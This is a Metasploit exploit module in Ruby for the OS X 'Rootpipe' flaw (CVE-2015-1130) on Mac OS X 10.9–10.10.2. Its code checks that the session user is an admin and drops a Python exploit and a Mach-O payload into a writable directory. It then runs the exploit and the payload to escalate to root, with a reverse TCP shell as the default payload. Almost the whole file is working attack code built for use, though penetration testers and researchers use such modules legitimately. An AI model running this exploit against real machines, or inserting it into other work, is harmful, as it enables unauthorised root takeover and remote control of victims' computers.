##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple OS X Rootpipe Privilege Escalation',
      'Description'    => %q{
        This module exploits a hidden backdoor API in Apple's Admin framework on
        Mac OS X to escalate privileges to root, dubbed "Rootpipe."

        This module was tested on Yosemite 10.10.2 and should work on previous versions.

        The patch for this issue was not backported to older releases.

        Note: you must run this exploit as an admin user to escalate to root.
      },
      'Author'         => [
        'Emil Kvarnhammar', # Vulnerability discovery and PoC
        'joev',             # Copy/paste monkey
        'wvu'               # Meta copy/paste monkey
      ],
      'References'     => [
        ['CVE',   '2015-1130'],
        ['OSVDB', '114114'],
        ['EDB',   '36692'],
        ['URL',   'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
      ],
      'DisclosureDate' => '2015-04-09',
      'License'        => MSF_LICENSE,
      'Platform'       => 'osx',
      'Arch'           => ARCH_X64,
      'SessionTypes'   => ['shell'],
      'Privileged'     => true,
      'Targets'        => [
        ['Mac OS X 10.9-10.10.2', {}]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'PAYLOAD'         => 'osx/x64/shell_reverse_tcp',
        'PrependSetreuid' => true
      }
    ))

    register_options [
      OptString.new('PYTHON', [true, 'Python executable', '/usr/bin/python'])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    (ver? && is_admin?) ? CheckCode::Appears : CheckCode::Safe
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless is_admin?
      fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
    end

    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    print_status("Writing exploit to `#{exploit_file}'")
    write_file(exploit_file, python_exploit)
    register_file_for_cleanup(exploit_file)

    print_status("Writing payload to `#{payload_file}'")
    write_file(payload_file, binary_payload)
    register_file_for_cleanup(payload_file)

    print_status('Executing exploit...')
    cmd_exec(sploit)
    print_status('Executing payload...')
    cmd_exec(payload_file)
  end

  def ver?
    Rex::Version.new(get_sysinfo['ProductVersion']).between?(
      Rex::Version.new('10.9'), Rex::Version.new('10.10.2')
    )
  end

  def sploit
    "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
  end

  def python_exploit
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
    ))
  end

  def binary_payload
    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
  end

  def exploit_file
    @exploit_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
  end

  def payload_file
    @payload_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
  end
end
